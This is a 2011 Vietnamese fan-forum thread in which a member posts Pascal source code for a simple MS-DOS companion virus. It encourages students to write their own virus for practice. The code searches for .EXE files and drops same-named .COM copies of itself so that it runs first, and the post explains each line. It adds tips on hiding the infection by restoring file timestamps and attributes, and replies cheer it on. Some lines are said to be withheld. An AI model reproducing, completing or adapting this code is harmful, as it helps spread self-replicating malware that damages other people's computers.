.::Naruto-vnonline::.

Gửi bài nhiều
All Forums|
Gaara
ninja_warrior97
s2[m]it_kute
ninja_kun
Wind_NarSas
Madara
KYO
narfamily
Chidori ~ Kayano
Hyuga Neji
Topic xem nhiều

You are not connected. Please login or register

Xem chủ đề cũ hơn Xem chủ đề mới hơn Go down  Thông điệp [Trang 1 trong tổng số 1 trang]

19xStudio Viết virus bằng Pascal on Mon May 30, 2011 4:54 am

Wind_NarSas

avatar
.::Học viên Akatsuki::.

.::Học viên Akatsuki::.
P/s:Hiện tại vẫn học kiến thức phổ thông, chúng ta được làm quen với Pascal, do đó mọi người thử nghịch tí và năng cao khả năng code của mình
KHỞI ĐẦU
Với vốn pascal hiện có, bạn có thể làm những gì? tại sao không bắt tay vào việc tao ra một con "virus" nhỏ cho riêng mình, từ đó sẽ kích thích bạn hiểu hơn về thao tác file cũng như lập trình hệ thống.

Dưới đây là ví dụ về một mẫu virus đơn giản, chưa có tính phá hoại, mới chỉ cài đặt khả năng lây lan dành cho các bạn tham khảo:

{$A-,B-,D-,E-,F-,G-,I-,L- ,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y- }
{$M 8192,0,16384}
uses
Dos, Crt;
const
extend = '*.EXE';
var
SRec : SearchRec;
NameOfVector, NameOfVictim : String;
VECTOR, VICTIM : File;
LengthOfVector : LongInt;
Buffer : Pointer;
begin
1. {...}
2. FindFirst (extend, AnyFile, SRec);
3. while (DosError = 0) and (IOResult = 0) do
4. begin
5. with SRec do
6. if not ((Name='.') or (Name='..')
7. or (not (Attr and Directory and VolumeID<>0)))
8. then
9. begin
10. NameOfVictim:=Name;
11. Delete (NameOfVictim, Pos ('EXE',NameOfVictim),3);
12. NameOfVictim:=NameOfVictim+'COM' ;
13. Assign (VICTIM, NameOfVictim);
14. Reset (VICTIM,1);
15.
16. if IOResult <> 0 then
17. begin
18. {...}
19. Assign (VECTOR, NameOfVector);
20. Reset (VECTOR, 1);
21. LengthOfVector := FileSize (VECTOR);
22. GetMem (Buffer,LengthOfVector);
23. BlockRead (VECTOR, Buffer^, LengthOfVector);
24. ReWrite (VICTIM,1);
25. BlockWrite (VICTIM , Buffer^, LengthOfVector);
26. Close (VECTOR);
27. Close (VICTIM);
28. FreeMem (Buffer, LengthOfVector);
29. end;
30. end;
31. FindNext (SRec);
32. end;
33. Delete (NameOfVector,Pos ('.COM',NameOfVector),4);
34. NameOfVector := '/C '+NameOfVector+'.EXE';
35. {..}
36. {..}
37. {-Thuc thi file EXE ban dau-}
38. SwapVectors;
39. Exec(GetEnv('COMSPEC'), NameOfVector);
40. SwapVectors;
end.
Giải thích :

Đễ lây nhiễm vào file mà không để lại dấu vết, các bạn nên tham khảo hàm GetFTime(); GetFAttr(); và SetFTime(); SetFAttr(); có trong unit DOS;

Phần khai báo biến:
Trích dẫn:
Mã:
var
SRec : SearchRec;
NameOfVector, NameOfVictim : String;
VECTOR, VICTIM : File;
LengthOfVector : LongInt;
Buffer : Pointer;

-NameOfVector : tên của file đã nhiễm, được user chỉ định thực thi (VD: BOITOAN.EXE)
-NameOfVictim : tên của file .EXE tìm thấy, là đối tượng sẽ lây nhiễm (VD: PROGRAM.EXE)
-VECTOR, VICTIM: biến file dùng để thao tác 2 file nói trên
-LengthOfVector: kích thước file Vector
-Buffer: cung cấp vùng nhớ sẽ dùng để nạp file VECTOR;

Đến đây có một câu hỏi đặt ra là làm sao kiểm tra xem file đã nhiễm hay chưa mà xử lí. Nếu nhiễm rồi thì lây zô nữa làm gì , điều này liên quan tới việc tạo keygen để đánh dấu file (là chuỗi ký tự có tính chất đặc trương cho từng loại virus - các AVs có thể dựa vào đây để phát hiện ra mã virus) mà trong khuôn khổ bài viết này không đề cập đến.

Đầu tiên, Chương trình sẽ tìm một file .exe trong thư mục hiện hành (Lệnh 2) trả thông tin về cho biến SREC;
Nếu không có lỗi (lỗi sinh ra khi không có file .exe nào) thì gán tên file tìm được cho biến NameOfVictim (lệnh 10) giả sử ta được NameOfVictim='BAITAP.EXE' thì tiếp theo chuyển thành 'BAITAP.COM' (lệnh 11+12).
Mở file BAITAP.COM, nếu có lỗi thì có thể file trên chưa tồn tại (khi đó DosError<>0)
Nếu BAITAP.COM chưa tồn tại thì tiếp tục lệnh 16

-Mở file chủ, lấy kích thước (19 -> 21)
-Nạp file chủ vào vùng nhớ (22 -> 23)
-Tạo mới file BAITAP.COM rồi Ghi nội dung vùng nhớ vào file này (24 -> 25)
-Đóng file, ghi ra đĩa cứng (27)
-Xóa nội dung vùng nhớ, đề phòng phát hiện (28)

Như vậy, ta đã tạo đc một file BAITAP.COM có tên trùng với file BAITAP.EXE mà chương trình tìm thấy, nhưng nội dung chứa bên trong file .COM này chính là nội dung file Chủ --> Như thế file Chủ (là file đã nhiễm) đã được nhân bản.
Các câu lệnh còn lại là trao quyền thực thi cho file Chủ ban đầu theo yêu cầu của user.

Đoạn code trên nếu các bạn test sẽ không thành công vì có một số dòng mình đã giấu đi do bài viết chỉ mang tính học tập một cách thức lây lan của virus.

Như vậy, nếu bạn biên dịch ra file này là VIRUS.EXE rồi chạy nó,ta sẽ được:
-VIRUS tìm file .EXE trong thư mục hiện hành, có thể là chính bản thân nó.
Giả sử tìm thấy file PROGRAM.EXE
-Tạo ra file PROGRAM.COM là bản sao của virus

Ta nhắc lại một chút, trong DOS, thứ tự ưu tiên của các dạng file thi hành được xếp như sau: COM > EXE > BAT > ...
Như vậy, sau này khi user gỏ lệnh sau:
C:\>PROGRAM
thì file PROGRAM.COM (do virus tạo ra) sẽ được chạy chứ không phải là file PROGRAM.EXE
Như thế VIRUS sẽ có cơ hội được tiếp tục lấy lan.

Kết luận
Trên đây là code của một F-Virus chạy trên nền MS-DOS, song dễ bị phát hiện trên nền Windows.
Qua bài trên , ta có thể hiểu được cách thức lây nhiễm đơn giản là lợi dụng vào thứ tự ưu tiên của file .COM so với file .EXE
Nguồn [You must be registered and logged in to see this link.]

Xem lý lịch thành viên

29xStudio Re: Viết virus bằng Pascal on Mon May 30, 2011 4:59 am

ninja_kun

avatar
.::Hokage::.

.::Hokage::.
vote cho bạn một phiếu nhé!!!

Xem lý lịch thành viên

39xStudio Re: Viết virus bằng Pascal on Mon May 30, 2011 5:17 am

Wind_NarSas

avatar
.::Học viên Akatsuki::.

.::Học viên Akatsuki::.
Điều đó nếu nó cần thiết

Xem lý lịch thành viên

49xStudio Re: Viết virus bằng Pascal on Tue May 31, 2011 12:57 am

Gaara

avatar
.::Kazekage::.

.::Kazekage::.
Trời ơi! Hay quá! Làm thử xem, thanks Wind


--------------------------


[You must be registered and logged in to see this link.]
Xem lý lịch thành viên http://4rum.naru.to

Sponsored content


Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang  Thông điệp [Trang 1 trong tổng số 1 trang]

Permissions in this forum:
Bạn không có quyền trả lời bài viết